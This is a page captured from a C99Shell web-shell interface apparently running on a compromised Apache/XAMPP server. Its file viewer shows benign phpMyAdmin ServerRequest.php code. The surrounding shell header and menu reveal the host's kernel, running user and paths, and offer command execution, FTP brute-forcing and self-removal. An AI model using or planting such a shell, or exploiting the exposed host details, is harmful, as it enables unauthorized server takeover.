!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/phpmyadmin/libraries/classes/Http/   drwxr-xr-x
Free 15.6 GB of 61.93 GB (25.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ServerRequest.php (6.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\Http;

use 
Psr\Http\Message\ServerRequestInterface;
use 
Psr\Http\Message\StreamInterface;
use 
Psr\Http\Message\UriInterface;

use function 
is_array;
use function 
is_object;
use function 
property_exists;

class 
ServerRequest implements ServerRequestInterface
{
    
/** @var ServerRequestInterface */
    
private $serverRequest;

    final public function 
__construct(ServerRequestInterface $serverRequest)
    {
        
$this->serverRequest $serverRequest;
    }

    
/**
     * @inheritDoc
     */
    
public function getProtocolVersion()
    {
        return 
$this->serverRequest->getProtocolVersion();
    }

    
/**
     * @inheritDoc
     */
    
public function withProtocolVersion($version)
    {
        
$serverRequest $this->serverRequest->withProtocolVersion($version);

        return new static(
$serverRequest);
    }

    
/**
     * @inheritDoc
     */
    
public function getHeaders()
    {
        return 
$this->serverRequest->getHeaders();
    }

    
/**
     * @inheritDoc
     */
    
public function hasHeader($name)
    {
        return 
$this->serverRequest->hasHeader($name);
    }

    
/**
     * @inheritDoc
     */
    
public function getHeader($name)
    {
        return 
$this->serverRequest->getHeader($name);
    }

    
/**
     * @inheritDoc
     */
    
public function getHeaderLine($name)
    {
        return 
$this->serverRequest->getHeaderLine($name);
    }

    
/**
     * @inheritDoc
     */
    
public function withHeader($name$value)
    {
        
$serverRequest $this->serverRequest->withHeader($name$value);

        return new static(
$serverRequest);
    }

    
/**
     * @inheritDoc
     */
    
public function withAddedHeader($name$value)
    {
        
$serverRequest $this->serverRequest->withAddedHeader($name$value);

        return new static(
$serverRequest);
    }

    
/**
     * @inheritDoc
     */
    
public function withoutHeader($name)
    {
        
$serverRequest $this->serverRequest->withoutHeader($name);

        return new static(
$serverRequest);
    }

    
/**
     * @inheritDoc
     */
    
public function getBody()
    {
        return 
$this->serverRequest->getBody();
    }

    
/**
     * @inheritDoc
     */
    
public function withBody(StreamInterface $body)
    {
        
$serverRequest $this->serverRequest->withBody($body);

        return new static(
$serverRequest);
    }

    
/**
     * @inheritDoc
     */
    
public function getRequestTarget()
    {
        return 
$this->serverRequest->getRequestTarget();
    }

    
/**
     * @inheritDoc
     */
    
public function withRequestTarget($requestTarget)
    {
        
$serverRequest $this->serverRequest->withRequestTarget($requestTarget);

        return new static(
$serverRequest);
    }

    
/**
     * @inheritDoc
     */
    
public function getMethod()
    {
        return 
$this->serverRequest->getMethod();
    }

    
/**
     * @inheritDoc
     */
    
public function withMethod($method)
    {
        
$serverRequest $this->serverRequest->withMethod($method);

        return new static(
$serverRequest);
    }

    
/**
     * @inheritDoc
     */
    
public function getUri()
    {
        return 
$this->serverRequest->getUri();
    }

    
/**
     * @inheritDoc
     */
    
public function withUri(UriInterface $uri$preserveHost false)
    {
        
$serverRequest $this->serverRequest->withUri($uri$preserveHost);

        return new static(
$serverRequest);
    }

    
/**
     * @inheritDoc
     */
    
public function getServerParams()
    {
        return 
$this->serverRequest->getServerParams();
    }

    
/**
     * @inheritDoc
     */
    
public function getCookieParams()
    {
        return 
$this->serverRequest->getCookieParams();
    }

    
/**
     * @inheritDoc
     */
    
public function withCookieParams(array $cookies)
    {
        
$serverRequest $this->serverRequest->withCookieParams($cookies);

        return new static(
$serverRequest);
    }

    
/**
     * @inheritDoc
     */
    
public function getQueryParams()
    {
        return 
$this->serverRequest->getQueryParams();
    }

    
/**
     * @inheritDoc
     */
    
public function withQueryParams(array $query)
    {
        
$serverRequest $this->serverRequest->withQueryParams($query);

        return new static(
$serverRequest);
    }

    
/**
     * @inheritDoc
     */
    
public function getUploadedFiles()
    {
        return 
$this->serverRequest->getUploadedFiles();
    }

    
/**
     * @inheritDoc
     */
    
public function withUploadedFiles(array $uploadedFiles)
    {
        
$serverRequest $this->serverRequest->withUploadedFiles($uploadedFiles);

        return new static(
$serverRequest);
    }

    
/**
     * @inheritDoc
     */
    
public function getParsedBody()
    {
        return 
$this->serverRequest->getParsedBody();
    }

    
/**
     * @inheritDoc
     */
    
public function withParsedBody($data)
    {
        
$serverRequest $this->serverRequest->withParsedBody($data);

        return new static(
$serverRequest);
    }

    
/**
     * @inheritDoc
     */
    
public function getAttributes()
    {
        return 
$this->serverRequest->getAttributes();
    }

    
/**
     * @inheritDoc
     */
    
public function getAttribute($name$default null)
    {
        return 
$this->serverRequest->getAttribute($name$default);
    }

    
/**
     * @inheritDoc
     */
    
public function withAttribute($name$value)
    {
        
$serverRequest $this->serverRequest->withAttribute($name$value);

        return new static(
$serverRequest);
    }

    
/**
     * @inheritDoc
     */
    
public function withoutAttribute($name)
    {
        
$serverRequest $this->serverRequest->withoutAttribute($name);

        return new static(
$serverRequest);
    }

    
/**
     * @param mixed $default
     *
     * @return mixed
     */
    
public function getParam(string $param$default null)
    {
        
$getParams $this->getQueryParams();
        
$postParams $this->getParsedBody();

        if (
is_array($postParams) && isset($postParams[$param])) {
            return 
$postParams[$param];
        }

        if (
is_object($postParams) && property_exists($postParams$param)) {
            return 
$postParams->$param;
        }

        if (isset(
$getParams[$param])) {
            return 
$getParams[$param];
        }

        return 
$default;
    }

    
/**
     * @param mixed $default
     *
     * @return mixed
     */
    
public function getParsedBodyParam(string $param$default null)
    {
        
$postParams $this->getParsedBody();

        if (
is_array($postParams) && isset($postParams[$param])) {
            return 
$postParams[$param];
        }

        if (
is_object($postParams) && property_exists($postParams$param)) {
            return 
$postParams->$param;
        }

        return 
$default;
    }

    public function 
isPost(): bool
    
{
        return 
$this->getMethod() === 'POST';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.2991 ]--